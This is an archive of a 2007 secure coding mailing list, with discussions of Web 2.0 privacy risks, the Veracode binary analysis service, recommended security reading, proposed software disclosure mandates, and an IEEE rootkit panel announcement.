I've been thinking a lot lately about the impact of Web 2.0 on information
security. I've read Tim O'Reilly's seminal "What Is Web 2.0" article that
defines this new trend. I've attended Dion Hinchcliffe's Web 2.0 training.
I've read (most of) The Long Tail and The World Is Flat. I get it. I
understand this new surge in the Internet economy. I see myriad
opportunities for monetization for anything that can be sold effectively
online, for ad revenue, for social networking, and for further redefining
the customer relationship experience.

In the end, I do not see how any of this changes the fundamental issues
within Privacy and Security. It does, however, potentially make things
worse. Here's my take on some of these fundamental issues:

* The Web 2.0 Paradox: Consumers are encouraged to push all their data to
the intarweb, blindly trusting that corporations will handle that PII, etc.,
properly. Yet, the corporations do not have a fully vested interest in
actually spending much money to protect that data. Corporations encourage
this behavior because the more consumers push their data out, the more
reason they have to visit the recipient sites, resulting in more uniqs and
increased ad revenue. However, at the same time, these same corporations are
declaring caveat emptor. They expect consumers to read and understand all
shrinkwrap licenses/agreements (written by corps, for corps), and they also
expect consumers to backup their own data. As technologists we think "yeah,
so, I know how to deal with this, and kids growing up with this should,
too." Ok, I agree, but to a certain point. We still have an intermediary
generation that has not grown up with this technology, but likes to avail
itself of new technology. There are limits to what education, training, and
awareness can do for them.

* Dumbing Down the Consumer: I'll be the first to admit that kids these days
understand and use technology in ways that I find amazing. However, I also
do not believe that these kids understand the security concerns inherent in
these advances. Studies are starting to show that kids understand privacy
issues (see here). But what about security? It's unclear that there is a
commensurate expectation that corporations will properly protect and handle
PII. At any rate, one of the goals of Web 2.0 seems to be lowering the bar
for technical savvy in order to participate in this ever-expanding world.
For corporations, this is a Good Thing (tm). The less savvy a user has to be
to leverage a site, the broader the audience that can be reached, meaning
the easier it becomes (in theory) to monetize the offering. But, in
providing these easier interfaces (albeit with potentially greater end-user
control), we are effectively decreasing the technical competency of the user
pool, increasing the likelihood that people won't fully understand what
they're up against, they won't appreciate the inherent security and privacy
concerns, and they will blindly trust that corporations will behave
properly, even if they have no fiscal motivation to do so. In essence, the
average IQ of the Internet population decreases with the ubiquity of access
and increasing simplicity of site navigation.

* Dumbing Down the Developer: In addition to making the interface easier for
the consumer, we're also seeing tools developed that make coding and
creation a much easier prospect. Which is all good and fine, if people know
what they're doing. But there is an inherent danger in having a decreasing
number of corporatized people creating tools for the mass development world.
Do we really trust these tools? Do we know what they really do? Salon.com
had an article about this in September titled Why Johnny can't code. Also,
what happens if the tool everyone is using has introduced a flaw in all the
apps/sites that it was used to create? Now we see the platform extended
beyond the OS to the development tool, and face potentially the same types
of problems that malcode has represented for decades.

* Legislative/Regulatory Catch-up (or About Face?): Especially in the U.S.,
legislation and regulations are still behind the curve in protecting
consumers from data mishandling. The EU is definitely tracking on this
better. For example, Germany has a law that states that all PII is owned by
the consumer, not the corporation. This includes billing records. As such,
if a consumer cancels service and requests that their data be deleted, the
corporation is legally obligated to remove all that information, including
from archives/backups. This law exemplifies the Web 2.0 mantra that the
consumer owns the experience. We need more laws like this.

* Data Security: The full gamut of traditional concerns apply, but are of
even greater importance. While corporations may not have a legal or
regulatory driver to protect consumer data, their reputations are
increasingly at stake based on what they do with the data entrusted to them.
As such, access management, data privacy protection, backups, business
continuity, and application security (including secure coding) should be top
concerns. The sooner companies realize, understand, and accept that security
threats are a direct influence on the bottom line, the sooner the Web 2.0
giant can be aligned with sound security practices. The sooner we can make a
coherent financial argument to executives on this correlation between the
bottom line and corporate success, the more successful we will be in getting
security best practices integrated into development and operational
environments. This issue perhaps sounds remarkably familiar (it is). The
twist, however, is that Web 2.0 puts an increased focus on the
consumer-driven experience. Betray the consumer and you may lose your
business altogether. This reality is closer today than it was 7 years ago
when the bubble burst.

* The Externality Game: Bruce Schneier has spoken numerous times about
security as an externality. If the corporation doesn't feel pain in
mismanaging data or trust placed with them, then what's their motivation in
conforming to good practices? Ultimately, the solution is a combination of
consumers taking control of the fate of corporations and government placing
legislation with significant financial penalties in place to protect those
consumers. Fortunately, Web 2.0 provides a new, unique method for consumers
to flex their might in influencing other consumers to boycott or avoid badly
behaving corporations. However, corporations still aren't fully motivated or
required to disclose their bad behavior, meaning consumers can't always be
well-informed. Tools like seller rating systems go part of the way toward
remedying some of this concern, and now it's just a matter of new mashups
being developed to extend this further.

* Chasing the Data: One of the key tenets of Web 2.0 is the concept of
mashups - a 3rd party site that pulls together information and/or services
from 2 or more sites into one dynamic interface. I think we'll continue to
see the growth of this approach in the coming years. It opens up one big
headache for consumers: where's the data actually being stored? If I visit a
mashup site, the potential exists that data I share through that site may
not actually be saved on that site, but could in fact be saved at a
combination of the 2+ sites that are being mashed up. Just because I have an
agreement that I understand with the mashed site does not necessarily mean
the same thing for the original sites that are being pulled into the mashup
(or vice versa - liking agreements on source sites does not equate to liking
the mashup site's agreement). This may also introduce issues of downstream
liability. And then there are the potential issues with aggregation. What if
mash-up siteA is leverage siteB and siteC that are actually owned by the
same mega-corp? The consumer may not want mega-corp to have their aggregate
data, yet will be unwittingly sending it over.

* Who Owns the Layers: Just a brief point here, without getting into
corporate politicking. Have you noticed the return of the telecom monopoly?
AT&T and Verizon come to mind, as does the whole Net Neutrality battle. One
company may own your experience at Layers 1-3. Corporations providing these
great "free" Web 2.0 services own Layers 6-7. P2P and file sharing protocols
are being attacked by the ever-popular targets RIAA, MPAA, and their crutch
the DMCA. To quote a friend, "The only thing we're free to do is establish
sessions and close them, everything else has somebody's paws on it." This is
perhaps the great irony of Web 2.0. It looks and feels like FOSS, until you
start looking closely and realize that the whole thing is owned end-to-end
by corporations. Unless a law comes along that stipulates that the consumer
owns their data at all times and in all places, then corporations are going
to assume otherwise.

* Universal IDs: One of the hot new things is OpenID and how the consumer
now can have a universal ID which they control. All good and fine, but this
OpenID also lowers the bar for consumer profiling. And, with the beauty of
the information age, this also means that we can profile in an extremely
granular way. But where do we stop? For example, what's to stop Law
Enforcement from creating their own mashup (for their use only, of course),
using an OpenID to track individuals, perhaps to the point of seeking
so-called "terrorists"? Maybe this sounds ok on the surface, until we
imagine the abuses, such as China has pursued for decades in suppressing
free speech. If a consumer speaks out on their blog against the current
government, what threshold will need to be crossed before the government
identifies them as an agitator? This is not to say that there aren't
potential benefits, particularly in terms of unlocking the long tail to
market better to consumers. It just provides the start of the slippery slope
argument. We need keep in mind the need to balance civil liberties against
universal trackability. Why does privacy need to be an illusion?

(*Note: A special thanks to my friend Bob Alberti of Sanction, Inc., for
proof-reading and providing input on this posting.)

---
Benjamin Tomhave, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/pub/0/622/964
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil rights and civil liberties of all
citizens, whatever their background. We must remember that any oppression,
any injustice, any hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt


 


________________________________

	From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org] On Behalf Of Avi Shvartz
	Sent: Thursday, January 25, 2007 2:06 AM
	To: sc-l at securecoding.org
	Subject: [SC-L] WEB2.0 Security Issues
	
	


	Hello list,

	Lately I read some articles that cover WEB2.0 from various aspects
(social, technical etc.).

	What I am missing is a reference to security & privacy issues
related to WEB2.0.

	I would like to hear opinions what are the new security & privacy
concerns that WEB2.0 

	Creates and if possible, links to relevant resources 

	Thanks,

	Avi



From ken at krvw.com  Tue Jan 30 05:24:40 2007
From: ken at krvw.com (Kenneth Van Wyk)
Date: Tue, 30 Jan 2007 05:24:40 -0500
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January 20,
	2007
Message-ID: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>

FYI, there's an interesting article on ddj.com about a Symantec's new  
"Veracode" binary code analysis service.

http://www.ddj.com/dept/security/196902326

Among other things, the article says, "Veracode clients send a  
compiled version of the software they want analyzed over the Internet  
and within 72 hours receive a Web-based report explaining--and  
prioritizing--its security flaws."

Any SC-Lers have any first-hand experience with Veracode that they're  
willing to share here?  Opinions?

Cheers,

Ken
-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070130/6a7ffe07/attachment.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: PGP.sig
Type: application/pgp-signature
Size: 186 bytes
Desc: This is a digitally signed message part
Url : http://krvw.com/pipermail/sc-l/attachments/20070130/6a7ffe07/attachment.bin 

From ljknews at mac.com  Tue Jan 30 08:11:32 2007
From: ljknews at mac.com (ljknews)
Date: Tue, 30 Jan 2007 08:11:32 -0500
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
 20, 2007
In-Reply-To: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
References: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
Message-ID: <p05200f03c1e4f3d7b6a8@[192.168.1.254]>

At 5:24 AM -0500 1/30/07, Kenneth Van Wyk wrote:

> Any SC-Lers have any first-hand experience with Veracode that they're
> willing to share here?

In particular, www.veracode.com says very little about what ISPs they
will process.  It also implies their analysis is centered around "the
Common Weakness Enumeration (CWE) from MITRE and the Common Vulnerability
Scoring System (CVSS) from FIRST".  That might mean they are centered on
Internet issues.
-- 
Larry Kilgallen

From mshines at purdue.edu  Tue Jan 30 09:17:36 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Tue, 30 Jan 2007 09:17:36 -0500
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
	20, 2007
In-Reply-To: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
References: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
Message-ID: <004a01c74479$64774c60$4ea7d280@central.purdue.lcl>

One examining only source code will miss any errors or problems that may be
introduced by the compiler or linker.  As Symantec says - working with the
object code is working at the level the attackers work.  
 
Of course one would have to verify the object code made public is the same
object code that was analyzed/verified.   Otherwise you could get the case
where the code was advertised as 'checked' and it still have a
vulnerability.    Of course that could happen anyway - as the process
probabily isn't perfect (thought much better than nothing).   
 
Not all compilers or linkers are perfect either.   
 
There is only one way to get it right, yet so many ways to get it wrong.   
 
Mike Hines
 
-----------------------------
Michael S Hines
mshines at purdue.edu 
 

  _____  

From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
On Behalf Of Kenneth Van Wyk
Sent: Tuesday, January 30, 2007 5:25 AM
To: Secure Coding
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
20,2007


FYI, there's an interesting article on ddj.com about a Symantec's new
"Veracode" binary code analysis service.

http://www.ddj.com/dept/security/196902326 

Among other things, the article says, "Veracode clients send a compiled
version of the software they want analyzed over the Internet and within 72
hours receive a Web-based report explaining--and prioritizing--its security
flaws." 


Any SC-Lers have any first-hand experience with Veracode that they're
willing to share here? Opinions?


Cheers,


Ken

-----
Kenneth R. van Wyk
SC-L Moderator
KRvW Associates, LLC
http://www.KRvW.com




-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070130/9c829811/attachment.html 

From ge at linuxbox.org  Tue Jan 30 10:53:09 2007
From: ge at linuxbox.org (Gadi Evron)
Date: Tue, 30 Jan 2007 09:53:09 -0600 (CST)
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
 20, 2007
In-Reply-To: <004a01c74479$64774c60$4ea7d280@central.purdue.lcl>
Message-ID: <Pine.LNX.4.21.0701300952160.14475-100000@linuxbox.org>

On Tue, 30 Jan 2007, Michael S Hines wrote:
> One examining only source code will miss any errors or problems that may be
> introduced by the compiler or linker.  As Symantec says - working with the
> object code is working at the level the attackers work.  
>  
> Of course one would have to verify the object code made public is the same
> object code that was analyzed/verified.   Otherwise you could get the case
> where the code was advertised as 'checked' and it still have a
> vulnerability.    Of course that could happen anyway - as the process
> probabily isn't perfect (thought much better than nothing).   
>  
> Not all compilers or linkers are perfect either.   
>  
> There is only one way to get it right, yet so many ways to get it wrong.   

One question which would be very interesting is whether this is just
static analysis (which of course leads to other questions) or if this is
done while the binary is running.

	Gadi.

>  
> Mike Hines
>  
> -----------------------------
> Michael S Hines
> mshines at purdue.edu 
>  
> 
>   _____  
> 
> From: sc-l-bounces at securecoding.org [mailto:sc-l-bounces at securecoding.org]
> On Behalf Of Kenneth Van Wyk
> Sent: Tuesday, January 30, 2007 5:25 AM
> To: Secure Coding
> Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
> 20,2007
> 
> 
> FYI, there's an interesting article on ddj.com about a Symantec's new
> "Veracode" binary code analysis service.
> 
> http://www.ddj.com/dept/security/196902326 
> 
> Among other things, the article says, "Veracode clients send a compiled
> version of the software they want analyzed over the Internet and within 72
> hours receive a Web-based report explaining--and prioritizing--its security
> flaws." 
> 
> 
> Any SC-Lers have any first-hand experience with Veracode that they're
> willing to share here? Opinions?
> 
> 
> Cheers,
> 
> 
> Ken
> 
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
> 
> 
> 
> 
> 


From mouse at Rodents.Montreal.QC.CA  Tue Jan 30 11:24:13 2007
From: mouse at Rodents.Montreal.QC.CA (der Mouse)
Date: Tue, 30 Jan 2007 11:24:13 -0500 (EST)
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security |
	January	20, 2007
In-Reply-To: <004a01c74479$64774c60$4ea7d280@central.purdue.lcl>
References: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
	<004a01c74479$64774c60$4ea7d280@central.purdue.lcl>
Message-ID: <200701301629.LAA18425@Sparkle.Rodents.Montreal.QC.CA>

> One examining only source code will miss any errors or problems that
> may be introduced by the compiler or linker.  As Symantec says -
> working with the object code is working at the level the attackers
> work.

Some attackers, at least.  I have no doubt there are plenty of
attackers looking over source code hunting for logic bugs.

I would say that anyone who thinks that either source-level analysis or
binary-level analysis is the One True Answer is either talking about a
severely restricted subset or is deluded.  (Or, perhaps, is just trying
to delude others. :-)

Anything that finds bugs helps, whether it's eyeballs and brains,
binary analysis tools, source-level analysis tools, magic 8-balls,
whatever - if it finds bugs, it's good.

/~\ The ASCII				der Mouse
\ / Ribbon Campaign
 X  Against HTML	       mouse at rodents.montreal.qc.ca
/ \ Email!	     7D C8 61 52 5D E7 2D 39  4E F1 31 3E E8 B3 27 4B

From weld at vulnwatch.org  Tue Jan 30 12:03:23 2007
From: weld at vulnwatch.org (Chris Wysopal)
Date: Tue, 30 Jan 2007 12:03:23 -0500 (EST)
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
 20, 2007
In-Reply-To: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
References: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
Message-ID: <Pine.BSO.4.55.0701301159130.8220@vikki.vulnwatch.org>


Since I work at Veracode I won't pontificate on our service since I am
biased but I want to correct something in your posting.  Veracode is a
separate company from Symantec.  The technology was developed at @stake
and after Symantec acquired @stake the technology was purchased by
a new company, Veracode.

-Chris

On Tue, 30 Jan 2007, Kenneth Van Wyk wrote:

> FYI, there's an interesting article on ddj.com about a Symantec's new
> "Veracode" binary code analysis service.
>
> http://www.ddj.com/dept/security/196902326
>
> Among other things, the article says, "Veracode clients send a
> compiled version of the software they want analyzed over the Internet
> and within 72 hours receive a Web-based report explaining--and
> prioritizing--its security flaws."
>
> Any SC-Lers have any first-hand experience with Veracode that they're
> willing to share here?  Opinions?
>
> Cheers,
>
> Ken
> -----
> Kenneth R. van Wyk
> SC-L Moderator
> KRvW Associates, LLC
> http://www.KRvW.com
>
>
>
>
>

From ktriv3di at msn.com  Tue Jan 30 11:43:06 2007
From: ktriv3di at msn.com (KT)
Date: Tue, 30 Jan 2007 08:43:06 -0800
Subject: [SC-L] Good Magazines and Books
References: <B4C5B137-09E6-4C07-9348-746412550435@KRvW.com>
	<701fd6b60612141627s17fe9d16padd367d56a78b087@mail.gmail.com>
Message-ID: <BAY124-DAV4C7771129C0BDF49549C389A60@phx.gbl>

List,

What are some of the magazines the users of this list subscribe to? Any great technical software security / Information securoty books lately? I have been busy lately and havn't been able to keep up. The last good book I read was writing secure code 2

Thanks in advaance!!

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070130/511734ff/attachment.html 

From mudge at uidzero.org  Tue Jan 30 17:08:03 2007
From: mudge at uidzero.org (mudge)
Date: Tue, 30 Jan 2007 17:08:03 -0500
Subject: [SC-L] Dr. Dobb's | The Truth About Software Security | January
	20, 2007
In-Reply-To: <Pine.BSO.4.55.0701301159130.8220@vikki.vulnwatch.org>
References: <3E104CC5-EDF8-4EFD-89B2-AD1BAA8FCD6F@krvw.com>
	<Pine.BSO.4.55.0701301159130.8220@vikki.vulnwatch.org>
Message-ID: <2AB3DF64-5F96-45B4-A64E-55A3FBE5C2ED@uidzero.org>


On Jan 30, 2007, at 12:03 PM, Chris Wysopal wrote:

> Since I work at Veracode I won't pontificate on our service since I am
> biased but I want to correct something in your posting.  Veracode is a
> separate company from Symantec.  The technology was developed at  
> @stake
> and after Symantec acquired @stake the technology was purchased by
> a new company, Veracode.
>
> -Chris
>

The initial work on the code was started at the L0pht, development
continued at @stake where the intellectual property was transfered
(sold) into @stake (due to the unique intellectual property agreements
that had been cut during the intial creation of @stake w/ the l0pht),
which resulted in Symantec acquiring it with the @stake acquisition.

Not that it really matters at this point :)

Just nit-picking :)

.mudge


From secureCoding2dave at davearonson.com  Tue Jan 30 16:02:31 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Tue, 30 Jan 2007 21:02:31 +0000
Subject: [SC-L] Good Magazines and Books
Message-ID: <W9083624543187201170190951@webmail3>

KT [mailto:ktriv3di at msn.com] writes (to TWO LISTS, PLEASE DON'T DO THAT):

 > What are some of the magazines the users of this list subscribe to?

My top three, at least in this field would be:

 ACM Queue
 Information Security
 Software Development

Please note that the second list has BEEN REMOVED, so as to at least dampen the combinatorial explosion of replies to replies to replies ad infinitum.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/



From gem at cigital.com  Wed Jan 31 08:58:41 2007
From: gem at cigital.com (Gary McGraw)
Date: Wed, 31 Jan 2007 08:58:41 -0500
Subject: [SC-L] FW:  Good Magazines and Books
Message-ID: <3F5AB9CDDAD2CC4A80D0FCDCF2755DFB7E8600@va-mail.cigital.com>

Let's try that again...


 -----Original Message-----
From: 	Gary McGraw
Sent:	Wed Jan 31 07:22:57 2007
To:	'SC-L Subscriber Dave Aronson'
Subject:	Re: [SC-L] Good Magazines and Books

I believe the number one magazine is:

IEEE security & privacy
       - especially the BSI series

Followed in a distant way by

IEEE software
       - with issues on software security every once in a while

Information Security

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
book www.swsec.com.


 -----Original Message-----
From: 	SC-L Subscriber Dave Aronson [mailto:secureCoding2dave at davearonson.com]
Sent:	Wed Jan 31 01:11:04 2007
To:	Secure Coding
Subject:	Re: [SC-L] Good Magazines and Books

KT [mailto:ktriv3di at msn.com] writes (to TWO LISTS, PLEASE DON'T DO THAT):

 > What are some of the magazines the users of this list subscribe to?

My top three, at least in this field would be:

 ACM Queue
 Information Security
 Software Development

Please note that the second list has BEEN REMOVED, so as to at least dampen the combinatorial explosion of replies to replies to replies ad infinitum.

-Dave

-- 
Dave Aronson
"Specialization is for insects."  -Heinlein
Work: http://www.davearonson.com/
Play: http://www.davearonson.net/


_______________________________________________
Secure Coding mailing list (SC-L) SC-L at securecoding.org
List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
List charter available at - http://www.securecoding.org/list/charter.php
SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
as a free, non-commercial service to the software security community.
_______________________________________________




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From jepstein at webmethods.com  Wed Jan 31 11:39:14 2007
From: jepstein at webmethods.com (Jeremy Epstein)
Date: Wed, 31 Jan 2007 11:39:14 -0500
Subject: [SC-L] FW:  Good Magazines and Books
Message-ID: <AD3142518262534DAE5DD2DFCDA529EFAC151D@ffx-exbe1.webm.webmethods.com>

Having lurked on this list for a while, I'll chime in.

The answer depends on what you're trying to learn.  If your goal is latest
thinking, concepts, etc., I agree with GEM that IEEE S&P is best.  If you
want to know about the latest products, what's going on in the market, try
Information Security magazine (infosecuritymag.techtarget.com).  If you want
to know what CSOs are worrying about (not just computer/network security,
but also physical security, personnel security, etc.) see CSO Magazine
(www.csoonline.com).  I'm sure there are other "bests" depending on what
your goal is.

So the answer is: it depends.

As for books (the second part of the question), again, it depends on what
you're interested in.  As a selection, I like Ross Anderson's "Security
Engineering" as a basic text that covers a bit of everything, and Matt
Bishop's text is encyclopedic.  Of course GEM's books are excellent choices
for understanding software aspects of security.  Chris Wysopal's new testing
book is excellent.  And Ken van Wyk has a great handbook on secure coding
practices.  [Kudos to GEM, Chris, and Ken for not flogging their own books -
since I don't have a book, I'll feel free to flog theirs.]  There are many
other great books, but you've got to narrow the topic a bit!

--Jeremy

From everhart at gce.com  Wed Jan 31 21:26:48 2007
From: everhart at gce.com (Glenn and Mary Everhart)
Date: Wed, 31 Jan 2007 21:26:48 -0500
Subject: [SC-L] Could mandates on disclosing software effects benefit
	security?
Message-ID: <45C14FE8.4090401@gce.com>

Hi, all...

As I think about what trust is needed for computer operation, it seems at the 
moment we all play blind man's bluff...
That is, we are given software from various points and asked to "just trust" the 
provider sight unseen, and with no simple way to find what the software should 
be doing.

Now, on the other hand, if a software package being installed or used had a 
specification of what exactly it writes and why it writes it, a user might 
reasonably hope to allow or disallow some of the writing, and might hope to be 
able to detect when some part of his machine's state was being altered where it 
should not be.

In such a case, noticing and blocking viral or Trojan behavior becomes 
relatively easy, and a vendor tempted to add backdoors or worms or adware would 
have to include that within his list of what was done. Ideally such a list could 
be enforced during installs so that undisclosed actions would simply not take 
place, and fraudulent explanations might be subject of civil and criminal 
liability. (I would presume too that disclosing un-obfuscated source code would
be an acceptable, if not as good, way to disclose effects.)

There would be some vendors who would scream that they could not hide their 
secrets with such requirements, but I have seen plenty of cases where license 
keys and the like have been successfully managed even in systems open in this way.

Automated behavior detecting systems have implemented some of this kind of 
checking for a long time, at least as far back as my own "Safety" package's 
"paranoid mode" (1993) and probably much further, and in numerous Linux and 
Windows monitoring systems today. Their problem is that they attempt to gather 
information about what actions are "normal" by watching installations or 
operation, and as Sony showed last year, even companies often thought of as
ethical sometimes have software that does things to your computer you may not 
authorize and should know about.

Question is: would it make sense to lobby for disclosure requirements of all 
writes software does, to whatever, and reasons for them, as conditions to make 
it fit for sale? Perhaps likewise to be a (or the?) defense against claims the 
software is doing things to others' machines without authoriation?

Certainly such lists would require more of everyone installing software, at 
least in principle (I imagine permission interpreters would alleviate most 
work), but they would also make it possible for the first time to give trust in 
an informed way.

With reports of 25% of the net being infected with malware, it could be high 
time for something to allow trust not to be as promiscuously given as in the past.

Glenn C. Everhart
(Everhart at gce.com  home)


From bugtraq at cgisecurity.net  Thu Feb  1 01:10:13 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Thu, 1 Feb 2007 01:10:13 -0500 (EST)
Subject: [SC-L] Could mandates on disclosing software effects benefit
In-Reply-To: <45C14FE8.4090401@gce.com>
Message-ID: <20070201061013.10027.qmail@cgisecurity.net>

> Question is: would it make sense to lobby for disclosure requirements of all 
> writes software does, to whatever, and reasons for them, as conditions to make 
> it fit for sale? Perhaps likewise to be a (or the?) defense against claims the 
> software is doing things to others' machines without authoriation?
> 
> Certainly such lists would require more of everyone installing software, at 
> least in principle (I imagine permission interpreters would alleviate most 
> work), but they would also make it possible for the first time to give trust in 
> an informed way.
> 

People see Microsoft in the news all the time for having vulnerabilities and it isn't stopping
them from making money. Regarding websites, myspace and other large online companies have also
been bitten and aren't being negative affected.

I think creation of federal guidelines requiring security in the development cycle would be a much more
practical way to force people to implement appropriate baseline security measures. To some extent
policies such as SOX are starting this process regarding certain types of data or environments. 

In the majority of causes without the threat of preventing business, you're not going to get people to do anything unless they 
absolutely need to. 

Regards, 

- Robert
http://www.cgisecurity.com/
http://www.webappsec.org/
http://www.qasec.com/
  



From KClark-Fisher at computer.org  Thu Feb  1 12:01:40 2007
From: KClark-Fisher at computer.org (KClark-Fisher at computer.org)
Date: Thu, 1 Feb 2007 09:01:40 -0800
Subject: [SC-L] free wine + IEEE S&P at RSA + free wine!
Message-ID: <OF70E4EE9E.D3136862-ON88257275.005D00AF-88257275.005D84DE@hopper.computer.org>

Hi sc-ler,

I know that many of you follow the Building Security In department in
IEEE Security & Privacy magazine, now edited by John Steven and Gunnar
Peterson (and started several years ago by Silver Bullet Security
Podcast host Gary McGraw).  I'm interested in your feedback on the
department (and the podcast too for that matter).  What do you like?
What do you want to see?  Is S&P meeting the needs of the software
security community on this list?

If you're going to RSA, make sure to attend the IEEE S&P hosted panel
Rootkits: Beyond Good and Evil on Tuesday, Feb 6th at 1:30 pm.  The
panel is moderated by Gary McGraw and features panelists Greg Hoglund,
Jamie Butler (esteemed authors of Rootkits), Bill Arbaugh (UMd prof),
and Ivan Arce (Core Security). We'd love to see you there!  Come learn
about rootkits, the ultimate tool in the attacker's arsenal (and Sony's
arsenal too).

Most important, afterward we're hosting a meet-and-greet reception
with free wine and appetizers.  This is your chance to schmooze with the
panelists
and talk software security.

Hope to see you there!

Kathy

+++++++++++++++++
Kathleen Clark-Fisher
Associate Editor, IEEE Security & Privacy
10662 Los Vaqueros Circle
Los Alamitos, CA 90720
 714.821.8380 x 3146
kclark-fisher at computer.org
www.computer.org/security




From everhart at gce.com  Thu Feb  1 21:50:27 2007
From: everhart at gce.com (Glenn and Mary Everhart)
Date: Thu, 01 Feb 2007 21:50:27 -0500
Subject: [SC-L] Could mandates on disclosing software effects benefit
In-Reply-To: <20070201061013.10027.qmail@cgisecurity.net>
References: <20070201061013.10027.qmail@cgisecurity.net>
Message-ID: <45C2A6F3.9050209@gce.com>

bugtraq at cgisecurity.net wrote:
>> Question is: would it make sense to lobby for disclosure requirements of all 
>> writes software does, to whatever, and reasons for them, as conditions to make 
>> it fit for sale? Perhaps likewise to be a (or the?) defense against claims the 
>> software is doing things to others' machines without authoriation?
>>
>> Certainly such lists would require more of everyone installing software, at 
>> least in principle (I imagine permission interpreters would alleviate most 
>> work), but they would also make it possible for the first time to give trust in 
>> an informed way.
>>
> 
> People see Microsoft in the news all the time for having vulnerabilities and it isn't stopping
> them from making money. Regarding websites, myspace and other large online companies have also
> been bitten and aren't being negative affected.
> 
> I think creation of federal guidelines requiring security in the development cycle would be a much more
> practical way to force people to implement appropriate baseline security measures. To some extent
> policies such as SOX are starting this process regarding certain types of data or environments. 
> 
> In the majority of causes without the threat of preventing business, you're not going to get people to do anything unless they 
> absolutely need to. 
> 
> Regards, 
> 
> - Robert
> http://www.cgisecurity.com/
> http://www.webappsec.org/
> http://www.qasec.com/
>   
> 
> 
> 
Enforcing "security" in development would however be so nebulous as to be 
unenforceable. On the other hand, disclosure of where anything was writing to 
the state of your machine can be done, and reasons given, regardless what 
attacks might exist. It is not a DIRECT security measure, but it could be 
effective if it were generally done. It does not mean any software must be 
secure, and does not directly assault the ridiculously unfair common "license 
agreement" conditions software vendors get away with. It would however mean a 
vendor must tell you what his program is going to do to your machine and why. If 
applied to Windows, it would mean a Windows license would entitle you to info 
about what every registry setting did, what was run at start or autonomously 
later, about most every now-hidden side effect of system calls (if they change 
machine state), and so on. It would not mean that every format would need to be
disclosed, so if for example a registry entry were written with a license key in 
it, it would be necessary to say the entry had a key written to it, but the 
algorithm and data used to compute this would not need to be disclosed. You as 
machine owner could tell if you wanted to allow that operation or not.

On the other hand most every piece of malware that changes machine state somehow 
would be writing something and infected code might be expected to be doing 
detectable writes somewhere that uninfected code did not.

I will submit that the bulk of kernel expertise at this point appears to be in 
the hands of malware folks, and absent some changes of environment like this,
connected computing outside of MAYBE non-programmable appliances is going to be
impossible. "Getting security designs used" has been tried repeatedly, has never
worked in the "popular" systems. A few OSs exist that do better and there is 
some good research, but as long as people are not in the habit of demanding to 
know what software X is doing, and they just run it and hope it won't damage 
their systems too much, their machines will continue to be owned.

What I suggest is admittedly a libertarian kind of solution, in that it allows 
most anything to be out there, provided everybody is told exactly what it it. If 
people want the software equivalent of eating ground glass for themselves, as 
long as they are told what will happen, it is up to them. Evolution swings into 
action... On the other hand it does not try to mandate perfect software, and 
since the skill to write perfect software is darn rare and expensive, it does 
not demand people stop using what they can get. Requiring design considerations 
is in effect a kind of Prohibition (and will feed crime enterprises just the 
same). Requiring only some disclosure means more labels or pamphlets need to be 
produced (they are cheap to disseminate in the networked age!) but lets software 
be built by whoever tries.

If it were possible to get decent security quality labels on software I would 
suggest those too. If we started with modification disclosure, it might be 
possible to evolve in that direction. Then the cost of protecting oneself would 
drop. But let's start with something that might be doable and that can be done
technically by most everyone.


Glenn Everhart



From gem at cigital.com  Fri Feb  2 11:32:17 2007
From: gem at cigital.com (Gary McGraw)
Date: Fri, 2 Feb 2007 11:32:17 -0500
Subject: [SC-L] Anotated Bibliography from Software Security (take 2)
